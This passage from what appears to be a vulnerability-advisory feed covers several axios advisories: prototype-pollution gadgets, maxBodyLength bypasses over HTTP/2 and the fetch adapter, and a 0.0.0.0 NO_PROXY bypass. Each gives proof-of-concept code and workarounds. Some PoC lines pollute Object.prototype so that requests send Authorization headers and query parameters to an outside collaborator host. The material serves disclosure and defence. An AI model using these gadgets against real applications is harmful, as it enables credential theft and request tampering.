params: { unused: 'ignored-by-polluted-serializer' },
});
console.log('--- PoC: nested-option prototype-pollution gadgets ---');
console.log('Server saw:', JSON.stringify(response.data));
const authLeaked = response.data.authorization === `Basic ${ATTACKER_BASIC}`;
const urlRewritten = response.data.url === '/demo?polluted=1';
if (authLeaked && urlRewritten) {
console.log(
'VULNERABLE: nested auth + paramsSerializer inherited polluted ' +
'Object.prototype values into the outbound request.'
);
process.exitCode = 0;
} else {
console.log('NOT VULNERABLE: nested option objects did not leak prototype state.');
console.log(' authLeaked =', authLeaked);
console.log(' urlRewritten =', urlRewritten);
process.exitCode = 1;
}
} finally {
server.close();
// Restore Object.prototype so a noisy exit/process state cannot affect
// anything else accidentally sharing the runtime.
delete Object.prototype.username;
delete Object.prototype.password;
delete Object.prototype.serialize;
}
```
### Impact
Concrete consequences:
- Silent injection of attacker-controlled Authorization: Basic … headers on outbound requests, enabling credential exfiltration to attacker-chosen upstreams or impersonation against trusted upstreams.
- Full takeover of query-string serialization via paramsSerializer.serialize, enabling request tampering, cache-key poisoning, and bypass of upstream signature/policy checks that sign the literal request line.
|
| Risiko 5 / 10 GHSA-mwf2-3pr3-8698 |
vor 1 Stunde(n) |
## Summary
Axios versions with Node.js HTTP/2 support allow streamed request bodies to bypass `maxBodyLength` enforcement when requests are sent with `httpVersion: 2`.
This affects applications that rely on `maxBodyLength` as a hard cap while forwarding attacker-controlled streams, such as upload endpoints proxying user data to an upstream HTTP/2 service. Buffered request bodies are still checked before the request is sent.
## Impact
An attacker who can control a stream passed to axios can cause the application to transmit more outbound data than the configured `maxBodyLength` limit.
Practical impact is limited to resource consumption and policy bypass: excess outbound bandwidth, egress cost, upstream quota consumption, and limited availability impact on the application or upstream peer. This does not provide code execution, credential disclosure, or request destination control.
Browser adapters are not affected. Axios calls using the default unlimited `maxBodyLength: -1` do not cross this specific configured-limit boundary.
## Affected Functionality
Affected calls require all of the following:
- Node.js HTTP adapter.
- `httpVersion: 2`.
- Request `data` supplied as a stream.
- A finite `maxBodyLength`.
- Attacker-controlled or attacker-influenced stream contents.
Unaffected or differently affected paths:
- String, Buffer, and ArrayBuffer request bodies are checked before transport selection.
- Browser XHR/fetch adapters are not affected.
- HTTP/1.1 requests using `follow-redirects` enforce `options.maxBodyLength`.
- In `axios >=1.15.1`, setting `maxRedirects: 0` on affected HTTP/2 upload calls activates axios’ existing stream wrapper and rejects oversized streams.
## Technical Details
In `lib/adapters/http.js`, axios selects `http2Transport` whenever `httpVersion` resolves to `2`. The adapter still stores `config.maxBodyLength` on `options.maxBodyLength`, but Node’s HTTP/2 request API does not enforce that option.
The stream-level byte-counting wrapper is currently gated on `config.maxBodyLength > -1 && config.maxRedirects === 0`. For HTTP/2 requests using the default redirect setting, axios does not use `follow-redirects` and also does not enter this wrapper, so `uploadStream.pipe(req)` sends the full stream.
Local verification against the current `v1.x` checkout showed a request with `maxBodyLength: 1024` successfully transmitting `2097152` bytes over HTTP/2.
No fixed release exists yet. The fix should enforce the byte-counting stream wrapper for HTTP/2 streamed uploads, not only for the native HTTP/1.1 `maxRedirects: 0` path.
## Proof of Concept of Attack
```js
import http2 from 'node:http2';
import {Readable} from 'node:stream';
import axios from './index.js';
const LIMIT = 1024;
const PAYLOAD_BYTES = 2 * 1024 * 1024;
const server = http2.createServer();
server.on('stream', (stream) => {
let received = 0;
stream.on('data', (chunk) => {
received += chunk.length;
});
stream.on('end', () => {
stream.respond({':status': 200, 'content-type': 'application/json'});
stream.end(JSON.stringify({received, limit: LIMIT}));
});
});
await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
function makeBody(total) {
const chunk = Buffer.alloc(64 * 1024, 0x41);
let remaining = total;
return new Readable({
read() {
if (remaining <= 0) {
this.push(null);
return;
}
const next = remaining >= chunk.length ? chunk : chunk.subarray(0, remaining);
remaining -= next.length;
this.push(next);
}
});
}
try {
const response = await axios.post(
`http://127.0.0.1:${server.address().port}/upload`,
makeBody(PAYLOAD_BYTES),
{
httpVersion: 2,
maxBodyLength: LIMIT,
headers: {'content-type': 'application/octet-stream'}
}
);
console.log(response.data);
// Vulnerable result: { received: 2097152, limit: 1024 }
} finally {
server.close();
}
```
## Workarounds
For `axios >=1.15.1`, set `maxRedirects: 0` on affected HTTP/2 streamed upload calls. HTTP/2 redirects are not currently supported by the axios HTTP/2 adapter, so this is a practical per-call mitigation for this path.
For earlier affected versions, pre-limit the stream with a byte-counting transform before passing it to axios, reject oversized uploads before forwarding them, or avoid `httpVersion: 2` for untrusted streamed uploads.### Summary
On Node.js, axios's maxBodyLength is documented as a hard cap on outbound request bodies. For streamed uploads sent over httpVersion: 2, axios never enforces this cap: the entire body is transmitted regardless of size. Severity: medium.
Original Report
### Details
In lib/adapters/http.js, transport selection is unconditional for HTTP/2:
http.js Lines 937-956
```
if (isHttp2) {
transport = http2Transport;
} else {
const configTransport = own('transport');
if (configTransport) {
transport = configTransport;
} else if (config.maxRedirects === 0) {
transport = isHttpsRequest ? https : http;
isNativeTransport = true;
} else {
if (config.maxRedirects) {
options.maxRedirects = config.maxRedirects;
}
const configBeforeRedirect = own('beforeRedirect');
if (configBeforeRedirect) {
options.beforeRedirects.config = configBeforeRedirect;
}
transport = isHttpsRequest ? httpsFollow : httpFollow;
}
}
```
maxBodyLength is then stored on the request options:
http.js Lines 958-963
```
if (config.maxBodyLength > -1) {
options.maxBodyLength = config.maxBodyLength;
} else {
// follow-redirects does not skip comparison, so it should always succeed for axios -1 unlimited
options.maxBodyLength = Infinity;
}
```
…but options.maxBodyLength is only honored by the follow-redirects transport. Node's native http2.request does not read it. The only stream-level cap in this file is the byte-counting Transform wrapper for streamed uploads, which is gated on config.maxRedirects === 0:
http.js Lines 1270-1304
```
// Enforce maxBodyLength for streamed uploads on the native http/https
// transport (maxRedirects === 0); follow-redirects enforces it on the
// other path.
let uploadStream = data;
if (config.maxBodyLength > -1 && config.maxRedirects === 0) {
const limit = config.maxBodyLength;
let bytesSent = 0;
uploadStream = stream.pipeline(
[
data,
new stream.Transform({
transform(chunk, _enc, cb) {
bytesSent += chunk.length;
if (bytesSent > limit) {
return cb(
new AxiosError(
'Request body larger than maxBodyLength limit',
AxiosError.ERR_BAD_REQUEST,
config,
req
)
);
}
cb(null, chunk);
},
}),
],
utils.noop
);
uploadStream.on('error', (err) => {
if (!req.destroyed) req.destroy(err);
});
}
uploadStream.pipe(req);
```
For the HTTP/2 path, neither branch fires: the http2Transport is always selected, and follow-redirects is never used. The byte-counting transform also doesn't fire unless the caller happens to pin maxRedirects: 0. As a result, uploadStream.pipe(req) streams the full body into the HTTP/2 request unbounded.
### PoC
```
import http2 from 'node:http2';
import { Readable } from 'node:stream';
import axios from '../../index.js';
const LIMIT = 1024;
const PAYLOAD_BYTES = 2 * 1024 * 1024;
// Cleartext HTTP/2 (h2c) server. http2.connect() supports h2c when given an
// `http://...` authority, which mirrors what axios does when the request URL
// uses `http://` and `httpVersion: 2`.
const server = http2.createServer();
server.on('stream', (stream, _headers) => {
let received = 0;
stream.on('data', (chunk) => {
received += chunk.length;
});
stream.on('end', () => {
stream.respond({
':status': 200,
'content-type': 'application/json',
});
stream.end(JSON.stringify({ received, limit: LIMIT }));
});
stream.on('error', () => {
/* swallow client-side aborts */
});
});
await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
const port = server.address().port;
function makeBodyStream(totalBytes) {
const CHUNK = Buffer.alloc(64 * 1024, 0x41);
let remaining = totalBytes;
return new Readable({
read() {
if (remaining <= 0) {
this.push(null);
return;
}
const next = remaining >= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining);
remaining -= next.length;
this.push(next);
},
});
}
try {
let result;
try {
const response = await axios.post(`http://127.0.0.1:${port}/upload`, makeBodyStream(PAYLOAD_BYTES), {
httpVersion: 2,
maxBodyLength: LIMIT,
// We intentionally do NOT set maxRedirects: 0 — that flag activates the
// existing HTTP/1 byte-counting wrapper. The bug under test is that the
// HTTP/2 transport path skips that wrapper entirely.
headers: { 'content-type': 'application/octet-stream' },
// Omit content-length so the body is streamed without a known length.
});
result = { status: response.status, data: response.data };
} catch (err) {
result = { error: err && (err.code || err.message) };
}
console.log('--- PoC: HTTP/2 maxBodyLength bypass ---');
console.log('axios result:', JSON.stringify(result));
const ok =
result &&
result.status === 200 &&
result.data &&
typeof result.data === 'object' &&
result.data.received === PAYLOAD_BYTES &&
result.data.limit === LIMIT;
if (ok) {
console.log(
`VULNERABLE: server received ${result.data.received} bytes despite ` +
`maxBodyLength=${LIMIT}.`
);
process.exitCode = 0;
} else {
console.log('NOT VULNERABLE: axios refused or truncated the oversized stream.');
process.exitCode = 1;
}
} finally {
server.close();
// http2 sessions cached by axios may keep the event loop alive; force exit
// after the assertion so the script returns instead of idling on TCP keep-alive.
setImmediate(() => process.exit(process.exitCode || 0));
}
```
### Impact
- Uncontrolled outbound egress: an attacker who controls the upstream stream (e.g. via an upload endpoint that pipes into axios) can force the application to transmit arbitrarily large payloads.
- Bypass of cost/quota guards configured via maxBodyLength against billed upstream services.
- Resource exhaustion against upstream peers, proxies, and the application's own connection / memory budget.
|
| Risiko 5 / 10 GHSA-jqh4-m9w3-8hp9 |
vor 1 Stunde(n) |
## Summary
axios’ fetch adapter does not enforce `maxBodyLength` for live WHATWG `ReadableStream` request bodies whose size cannot be determined before dispatch. Applications that use `adapter: "fetch"` and rely on `maxBodyLength` to cap untrusted upload/proxy streams can send the full stream even when it exceeds the configured limit.
This affects fetch-adapter usage in edge runtimes where fetch is selected, and in Node.js or browser environments where the fetch adapter is explicitly selected. The HTTP adapter’s stream upload path is not affected.
## Impact
An attacker who can supply or influence a streamed request body can bypass the caller’s configured upload-size limit. Practical impact is unexpected outbound network egress, request-level resource consumption, and possible exhaustion of upstream API quotas or bandwidth.
This does not expose response data, execute code, or modify axios configuration. Exploitability depends on an application passing attacker-controlled, unknown-length stream data to axios and relying on `maxBodyLength` as the size guard.
## Affected Functionality
Affected:
- `adapter: "fetch"` or environments where axios selects the fetch adapter.
- Request methods with bodies, such as `POST`, `PUT`, and `PATCH`.
- `data` as a WHATWG `ReadableStream` without a reliable `Content-Length`.
- Configurations that set `maxBodyLength` to a finite value.
Not affected:
- Axios versions before the fetch adapter was introduced.
- The Node HTTP adapter stream enforcement path.
- Known-length fetch-adapter bodies in `1.16.0+`, such as strings, `Blob`, `ArrayBuffer`, `ArrayBufferView`, URLSearchParams, spec-compliant FormData, or requests with a finite `Content-Length`.
## Technical Details
In `lib/adapters/fetch.js`, `getBodyLength()` handles null bodies, `Blob`, spec-compliant FormData, ArrayBuffer values, URLSearchParams, and strings. It has no branch for `ReadableStream`, so `resolveBodyLength(headers, data)` returns `undefined` when no finite `Content-Length` header is present.
The `maxBodyLength` check only throws when the resolved outbound length is a finite number greater than the configured limit. For live streams, the check is skipped and the stream is passed to `fetch()`.
When `onUploadProgress` is enabled, axios wraps the request body with `trackStream()`, but that wrapper only reports progress. It does not receive `maxBodyLength` and does not abort once loaded bytes exceed the cap.
The expected behavior exists in the HTTP adapter: `lib/adapters/http.js` enforces `maxBodyLength` for streamed uploads by counting chunks and rejecting with `ERR_BAD_REQUEST`.
## Proof of Concept of Attack
Run from the axios repo root on Node 18+ against an affected version:
```js
import http from 'node:http';
import axios from './index.js';
const LIMIT = 1024;
const PAYLOAD_BYTES = 2 * 1024 * 1024;
const server = http.createServer((req, res) => {
let received = 0;
req.on('data', (chunk) => {
received += chunk.length;
});
req.on('end', () => {
res.writeHead(200, { 'content-type': 'application/json' });
res.end(JSON.stringify({ received, limit: LIMIT }));
});
});
await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
const { port } = server.address();
function makeReadableStream(totalBytes) {
const chunk = new Uint8Array(64 * 1024).fill(0x42);
let remaining = totalBytes;
return new ReadableStream({
pull(controller) {
if (remaining <= 0) {
controller.close();
return;
}
const next = remaining >= chunk.length ? chunk : chunk.subarray(0, remaining);
remaining -= next.length;
controller.enqueue(next);
},
});
}
try {
const response = await axios.post(
`http://127.0.0.1:${port}/upload`,
makeReadableStream(PAYLOAD_BYTES),
{
adapter: 'fetch',
maxBodyLength: LIMIT,
headers: { 'content-type': 'application/octet-stream' },
}
);
console.log(response.data);
} finally {
server.close();
}
```
Expected vulnerable result: the server reports `received: 2097152` even though `maxBodyLength` is `1024`.
## Workarounds
Use the HTTP adapter for untrusted stream uploads in Node.js where possible, or wrap/count the stream at the application layer and abort it when it exceeds the intended limit. Do not rely on fetch-adapter `maxBodyLength` for unknown-length `ReadableStream` bodies until a fixed axios version is available.
Original Report
### Summary
axios's fetch adapter (used in browsers, edge runtimes, and Node 18+ when explicitly selected) ignores maxBodyLength for live ReadableStream request bodies whose size cannot be inferred ahead of dispatch. The pre-dispatch check is skipped when the length is unknown, and the in-flight wrapper that runs during transmission only emits progress events — it never enforces a byte cap. Severity: medium.
### Details
In lib/adapters/fetch.js, body-length resolution has no ReadableStream branch:
fetch.js Lines 121-155
```
const getBodyLength = async (body) => {
if (body == null) {
return 0;
}
if (utils.isBlob(body)) {
return body.size;
}
if (utils.isSpecCompliantForm(body)) {
const _request = new Request(platform.origin, {
method: 'POST',
body,
});
return (await _request.arrayBuffer()).byteLength;
}
if (utils.isArrayBufferView(body) || utils.isArrayBuffer(body)) {
return body.byteLength;
}
if (utils.isURLSearchParams(body)) {
body = body + '';
}
if (utils.isString(body)) {
return (await encodeText(body)).byteLength;
}
};
const resolveBodyLength = async (headers, body) => {
const length = utils.toFiniteNumber(headers.getContentLength());
return length == null ? getBodyLength(body) : length;
};
```
For a live ReadableStream, resolveBodyLength returns undefined. The pre-dispatch maxBodyLength check then short-circuits because the value is not finite:
fetch.js Lines 214-232
```
// Enforce maxBodyLength against the outbound request body before dispatch.
// Mirrors http.js behavior (ERR_BAD_REQUEST / 'Request body larger than
// maxBodyLength limit'). Skip when the body length cannot be determined
// (e.g. a live ReadableStream supplied by the caller).
if (hasMaxBodyLength && method !== 'get' && method !== 'head') {
const outboundLength = await resolveBodyLength(headers, data);
if (
typeof outboundLength === 'number' &&
isFinite(outboundLength) &&
outboundLength > maxBodyLength
) {
throw new AxiosError(
'Request body larger than maxBodyLength limit',
AxiosError.ERR_BAD_REQUEST,
config,
request
);
}
}
```
The in-flight stream wrapper that follows is purely for progress reporting; it neither sees maxBodyLength nor aborts the request when bytes exceed any cap:
fetch.js Lines 253-261
```
if (_request.body) {
const [onProgress, flush] = progressEventDecorator(
requestContentLength,
progressEventReducer(asyncDecorator(onUploadProgress))
);
data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, onProgress, flush);
}
```
The body therefore reaches fetch() unbounded, and the entire payload is transmitted regardless of maxBodyLength.
### PoC
```
import http from 'node:http';
import axios from '../../index.js';
const LIMIT = 1024;
const PAYLOAD_BYTES = 2 * 1024 * 1024;
const server = http.createServer((req, res) => {
let received = 0;
req.on('data', (chunk) => {
received += chunk.length;
});
req.on('end', () => {
res.writeHead(200, { 'content-type': 'application/json' });
res.end(JSON.stringify({ received, limit: LIMIT }));
});
req.on('error', () => {
/* swallow client-side aborts */
});
});
await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
const port = server.address().port;
function makeReadableStream(totalBytes) {
const CHUNK = new Uint8Array(64 * 1024).fill(0x42);
let remaining = totalBytes;
return new ReadableStream({
pull(controller) {
if (remaining <= 0) {
controller.close();
return;
}
const next = remaining >= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining);
remaining -= next.length;
controller.enqueue(next);
},
});
}
try {
let result;
try {
const response = await axios.post(
`http://127.0.0.1:${port}/upload`,
makeReadableStream(PAYLOAD_BYTES),
{
adapter: 'fetch',
maxBodyLength: LIMIT,
headers: { 'content-type': 'application/octet-stream' },
// No content-length: the stream's total length is unknown ahead of
// dispatch, which is exactly the vulnerable code path.
}
);
result = { status: response.status, data: response.data };
} catch (err) {
result = { error: err && (err.code || err.message) };
}
console.log('--- PoC: fetch adapter ReadableStream maxBodyLength bypass ---');
console.log('axios result:', JSON.stringify(result));
const ok =
result &&
result.status === 200 &&
result.data &&
typeof result.data === 'object' &&
result.data.received === PAYLOAD_BYTES &&
result.data.limit === LIMIT;
if (ok) {
console.log(
`VULNERABLE: server received ${result.data.received} bytes despite ` +
`maxBodyLength=${LIMIT}.`
);
process.exitCode = 0;
} else {
console.log('NOT VULNERABLE: axios refused or truncated the oversized ReadableStream.');
process.exitCode = 1;
}
} finally {
server.close();
}
```
### Impact
- Uncontrolled egress when proxying user-controlled streams (e.g. file uploads, log forwarding, AI streaming endpoints).
- Bypass of cost / quota guards on upstream APIs.
- Resource exhaustion against the runtime's network stack and against upstream peers.
|
| Risiko 5 / 10 GHSA-mmx7-hfxf-jppx |
vor 1 Stunde(n) |
## Summary
axios is vulnerable to read-side prototype-pollution gadgets when `Object.prototype` has already been polluted by another vulnerability or dependency. The most broadly reachable issue is in the bodyless method aliases: `axios.get()`, `axios.delete()`, `axios.head()`, and `axios.options()` read inherited `data` before config normalization, causing attacker-controlled body data to be sent on requests that did not explicitly set a body.
Additional low-level paths affect consumers that call exported adapters/helpers directly with plain config objects. In those cases, inherited `proxy` or `paramsSerializer` values can influence request routing or URL serialization. These low-level paths are not reproduced through normal `axios.get()` usage on `1.15.2+`.
## Impact
An attacker who can first pollute `Object.prototype` can cause axios to send attacker-controlled request bodies on bodyless method aliases. This can corrupt request semantics where the receiving service processes bodies on `GET`, `DELETE`, `HEAD`, or `OPTIONS`.
For direct low-level Node HTTP adapter usage, inherited `proxy` can route requests through an attacker-controlled proxy. Depending on axios version, target scheme, and proxy behavior, this can expose request URLs, headers, and bodies or allow traffic modification.
For direct `resolveConfig` or browser-adapter helper usage, inherited `paramsSerializer` can be invoked with request params, allowing attacker-controlled URL serialization. This was not reproduced through normal high-level axios calls on `1.15.2+`.
## Affected Functionality
Affected normal API:
- `axios.get(url[, config])`
- `axios.delete(url[, config])`
- `axios.head(url[, config])`
- `axios.options(url[, config])`
Affected low-level usage:
- Direct calls to `axios/lib/adapters/http.js` or `axios/unsafe/adapters/http.js` with plain configs and no own `proxy`.
- Direct calls to `axios/unsafe/helpers/resolveConfig.js` or direct browser adapter/helper paths with plain configs and no own `paramsSerializer`.
Unaffected or corrected scope:
- Normal `axios.get()` calls on `1.15.2+` did not reproduce the `proxy` or `paramsSerializer` gadgets because `mergeConfig()` returns a null-prototype config and uses own-property reads.
## Technical Details
`lib/core/Axios.js` constructs aliases for bodyless methods and copies `data` with `(config || {}).data` before config normalization. If `Object.prototype.data` is polluted, this inherited value becomes an own `data` property in the merged request config and is sent by the adapter.
`lib/core/mergeConfig.js` in `1.15.2+` returns a null-prototype config and uses `hasOwnProp` guards, which prevents normal high-level requests from inheriting polluted `proxy` and `paramsSerializer` values after merge. This is why those two reporter claims do not reproduce through normal `axios.get()` on `1.15.2` or `1.16.1`.
The low-level adapter/helper paths can still receive plain configs directly. In that usage, direct reads of `config.proxy` in the Node HTTP adapter and `config.paramsSerializer` in affected `resolveConfig()` versions can consume inherited polluted values.
## Proof of Concept of Attack
```js
import http from 'http';
import axios from 'axios';
const server = http.createServer((req, res) => {
let body = '';
req.on('data', chunk => {
body += chunk;
});
req.on('end', () => {
res.writeHead(200, {'content-type': 'application/json'});
res.end(JSON.stringify({body, headers: req.headers}));
});
});
await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));
Object.prototype.data = 'INJECTED';
try {
const res = await axios.get(`http://127.0.0.1:${server.address().port}/data`);
console.log(res.data.body); // "INJECTED"
console.log(res.data.headers['content-length']); // "8"
} finally {
delete Object.prototype.data;
await new Promise(resolve => server.close(resolve));
}
```
Expected result: a request body is sent even though the caller did not explicitly set `config.data`.
## Workarounds
Avoid processing untrusted input with libraries or code paths that can pollute `Object.prototype`. As a defense-in-depth mitigation before an axios fix is available, explicitly pass `data: undefined` on bodyless method aliases when running in a process where prototype pollution is a concern.
Original Report
### Summary
Three prototype pollution read-side gadgets in axios bypass the `own()` hasOwnProp guard pattern, allowing a polluted `Object.prototype` to hijack outbound requests.
### Details
The [`own()` helper](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L342) was introduced after GHSA-q8qp-cvcw-x6jj to prevent polluted prototype properties from reaching security-sensitive config reads. Three paths were missed:
`config.proxy` at [http.js:715](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L715) goes straight into [`setProxy()`](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L197). A polluted `Object.prototype.proxy` reroutes outbound requests through an attacker-controlled proxy, exposing Authorization headers and full request URLs.
`(config || {}).data` at [Axios.js:248](https://github.com/axios/axios/blob/v1.15.2/lib/core/Axios.js#L248) covers GET, HEAD, DELETE, OPTIONS. Even without explicit body, polluted value becomes the body. I got injected payloads on 3 of 4 method types in testing.
`config.paramsSerializer` at [resolveConfig.js:32](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L32) is three lines below the [`own()` definition that was supposed to protect it](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L15). A polluted function onto `Object.prototype.paramsSerializer` gets called with the request params on every request that has query strings.
I read up on the threat model and I believe T-R4b identifies this exact class and notes that config-read paths must use `hasOwnProp` guards. These three seem to predate or were missed by that coverage.
### PoC
Ran against `axios@1.15.2` on `node:22-slim` in Docker. Clean install, no other deps.
```javascript
import axios from 'axios';
// gadget 1 - proxy
Object.prototype.proxy = { host: 'yourcollab.oastify.com', port: 8080, protocol: 'http' };
await axios.get('https://api.example.com/user', { headers: { Authorization: 'Bearer sk-test-1234567890' } });
// check collaborator - request arrives with full path + auth header
```
```javascript
// gadget 2 - data on bodyless methods
Object.prototype.data = '{"injected":true}';
await axios.get('https://api.example.com/items');
await axios.delete('https://api.example.com/items/1');
await axios.head('https://api.example.com/items');
// 3/4 methods send the polluted body
```
```javascript
// gadget 3 - paramsSerializer
Object.prototype.paramsSerializer = (p) => {
fetch('https://yourcollab.oastify.com/?' + new URLSearchParams(p));
return 'q=x';
};
await axios.get('https://api.example.com/search', { params: { token: 'secret' } });
```
### Impact
Any app with a polluted prototype (common via transitive deps like lodash, qs, minimist) should be affected. Gadget 1 steals credentials and redirects traffic. Gadget 2 corrupts request semantics. Gadget 3 gives the attacker arbitrary control over URL construction and a data exfiltration channel. All three fire silently on normal application code that never touches proxy, data, or `paramsSerializer` directly.
|
| Risiko 5 / 10 GHSA-f4gw-2p7v-4548 |
vor 1 Stunde(n) |
## Summary
Axios versions containing `lib/helpers/shouldBypassProxy.js` do not treat `0.0.0.0` as a local address when evaluating `NO_PROXY` rules. In Node.js applications that use `HTTP_PROXY` or `HTTPS_PROXY` together with `NO_PROXY=localhost,127.0.0.1,::1` or similar, a request to `http://0.0.0.0:/` can be routed through the configured proxy instead of bypassing it.
The issue is exploitable when an attacker can influence the axios request URL or a followed redirect target, and when the proxy can reach or relay `0.0.0.0` to local services. This is a Node.js runtime proxy-routing issue, not a browser, install-time, or development-tooling issue.
## Impact
Applications are affected when all of the following are true:
- The application runs axios in Node.js with the HTTP adapter.
- The process uses environment proxy variables such as `HTTP_PROXY` or `HTTPS_PROXY`.
- The process uses `NO_PROXY` entries such as `localhost`, `127.0.0.1`, or `::1` to keep local traffic out of the proxy path.
- Attacker-controlled input can influence the request URL or redirect target.
- The configured proxy does not reject `0.0.0.0` and can reach the local destination.
For plain HTTP targets, the proxy can receive the full request URL, headers, and body, and may be able to observe the local service response. HTTPS targets are less exposed because axios uses CONNECT tunneling in current versions.
## Affected Functionality
Affected functionality is limited to environment-derived proxy selection in the Node HTTP adapter:
- `lib/adapters/http.js` calls `getProxyForUrl(location)` and then `shouldBypassProxy(location)` before applying the proxy.
- `lib/helpers/shouldBypassProxy.js` normalizes and compares `NO_PROXY` entries.
- Explicit caller-provided `config.proxy` remains trusted caller configuration.
- Browser, React Native, XHR, and fetch adapter behavior are not affected.
## Technical Details
`lib/helpers/shouldBypassProxy.js` defines local loopback equivalence through `isLoopback()`. The current implementation recognizes `localhost`, IPv4 `127.0.0.0/8`, IPv6 `::1`, and IPv4-mapped loopback forms, but it does not include `0.0.0.0`.
At `lib/helpers/shouldBypassProxy.js:176`, axios treats two hosts as matching when both are considered loopback:
```js
return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost));
```
Because `isLoopback('0.0.0.0')` returns `false`, `NO_PROXY=localhost,127.0.0.1,::1` does not match `http://0.0.0.0:/`. `lib/adapters/http.js:185-193` then applies the environment proxy.
## Proof of Concept of Attack
```js
import http from 'http';
import axios from './index.js';
const listen = (handler, host = '127.0.0.1') =>
new Promise((resolve) => {
const server = http.createServer(handler);
server.listen(0, host, () => resolve(server));
});
const close = (server) => new Promise((resolve) => server.close(resolve));
const origin = await listen((req, res) => res.end('origin'), '0.0.0.0');
let proxyRequests = 0;
const proxy = await listen((req, res) => {
proxyRequests += 1;
res.end('proxied');
});
process.env.http_proxy = `http://127.0.0.1:${proxy.address().port}`;
process.env.HTTP_PROXY = process.env.http_proxy;
process.env.no_proxy = 'localhost,127.0.0.1,::1';
process.env.NO_PROXY = process.env.no_proxy;
try {
const direct = await axios.get(`http://127.0.0.1:${origin.address().port}/`);
const zero = await axios.get(`http://0.0.0.0:${origin.address().port}/`);
console.log({ direct: direct.data, zero: zero.data, proxyRequests });
} finally {
await close(origin);
await close(proxy);
}
```
Expected safe behavior: both `127.0.0.1` and `0.0.0.0` bypass the proxy when the `NO_PROXY` policy is intended to cover local destinations.
Observed behavior: `127.0.0.1` bypasses the proxy, while `0.0.0.0` is sent through the proxy.
## Workarounds
- Add `0.0.0.0` explicitly to `NO_PROXY` where local addresses must bypass proxies.
- Reject or normalize `0.0.0.0` in application URL validation before calling axios.
- Set `proxy: false` on axios requests that must never use environment proxies.
- Configure the proxy itself to reject `0.0.0.0`, loopback, link-local, and internal address ranges.
Original Report
### Summary
`axios` versions 1.15.0–1.16.1 contain an incomplete loopback-address check in `lib/helpers/shouldBypassProxy.js`. The `isLoopback()` function correctly identifies `127.0.0.0/8` and `::1` as loopback addresses but does not recognise `0.0.0.0` — the IPv4 unspecified address, which routes to the local machine on Linux and macOS.
An attacker who controls a URL passed to axios can use `http://0.0.0.0/` to bypass proxy-based SSRF filtering that the application relies upon.
### Details
## Affected versions
`>= 1.15.0, <= 1.16.1`
The vulnerability was introduced in v1.15.0 when the `shouldBypassProxy` helper was added as a security improvement (PR #10661).
---
## Root cause
**File:** `lib/helpers/shouldBypassProxy.js`
```javascript
// Line 1 — static allowlist (incomplete)
const LOOPBACK_HOSTNAMES = new Set(['localhost']); // ← 0.0.0.0 missing
const isIPv4Loopback = (host) => {
const parts = host.split('.');
if (parts.length !== 4) return false;
if (parts[0] !== '127') return false; // ← 0.0.0.0: parts[0] = '0' → false
return parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255);
};
const isLoopback = (host) => {
if (!host) return false;
if (LOOPBACK_HOSTNAMES.has(host)) return true; // ← '0.0.0.0' not in set
if (isIPv4Loopback(host)) return true; // ← returns false for 0.0.0.0
return isIPv6Loopback(host);
};
isLoopback('0.0.0.0') returns false.
Node's WHATWG URL parser does not normalise 0.0.0.0 to 127.0.0.1. Other bypass forms are safe: new URL('http://0177.0.0.1/').hostname → '127.0.0.1' (octal), new URL('http://2130706433/').hostname → '127.0.0.1' (decimal), new URL('http://0x7f000001/').hostname → '127.0.0.1' (hex). Only 0.0.0.0 escapes normalisation.
### PoC
'use strict';
// Verbatim copy of relevant logic from axios v1.16.1 shouldBypassProxy.js
const LOOPBACK_HOSTNAMES = new Set(['localhost']);
const isIPv4Loopback = (host) => {
const parts = host.split('.');
if (parts.length !== 4) return false;
if (parts[0] !== '127') return false;
return parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255);
};
const isLoopback = (host) => {
if (!host) return false;
if (LOOPBACK_HOSTNAMES.has(host)) return true;
return isIPv4Loopback(host);
};
// 1. Show URL parser does NOT normalise 0.0.0.0
console.log(new URL('http://0.0.0.0/').hostname); // → '0.0.0.0' ← NOT normalised
console.log(new URL('http://0177.0.0.1/').hostname); // → '127.0.0.1' ← normalised (safe)
console.log(new URL('http://2130706433/').hostname); // → '127.0.0.1' ← normalised (safe)
// 2. Show isLoopback fails for 0.0.0.0
console.log(isLoopback('0.0.0.0')); // → false ← BUG: should be true
console.log(isLoopback('127.0.0.1')); // → true ← correct
Verified output on Node.js v22 / axios v1.16.1:
0.0.0.0 ← NOT normalised by URL parser
127.0.0.1 ← octal normalised correctly
127.0.0.1 ← decimal normalised correctly
false ← 0.0.0.0 not detected as loopback ⚠
true ← 127.0.0.1 correctly detected
### Impact
Applications that:
Accept user-supplied URLs and pass them to axios
Use a proxy with NO_PROXY=localhost (or similar) for SSRF filtering
…can be bypassed by supplying http://0.0.0.0/. Axios routes the request through the proxy (shouldBypassProxy returns false). If the proxy itself does not filter 0.0.0.0, the connection reaches the local machine — exposing internal services such as cloud IMDS endpoints, internal admin panels, or microservice APIs.
Fix
Minimal (one line):
- const LOOPBACK_HOSTNAMES = new Set(['localhost']);
+ const LOOPBACK_HOSTNAMES = new Set(['localhost', '0.0.0.0']);
Comprehensive:
const isIPv4Unspecified = (host) => host === '0.0.0.0';
const isLoopback = (host) => {
if (!host) return false;
if (LOOPBACK_HOSTNAMES.has(host)) return true;
if (isIPv4Loopback(host)) return true;
if (isIPv4Unspecified(host)) return true; // add this line
return isIPv6Loopback(host);
};
|
| Risiko 2 / 10 CVE-2026-62684 |
vor 1 Stunde(n) |
| ## Summary
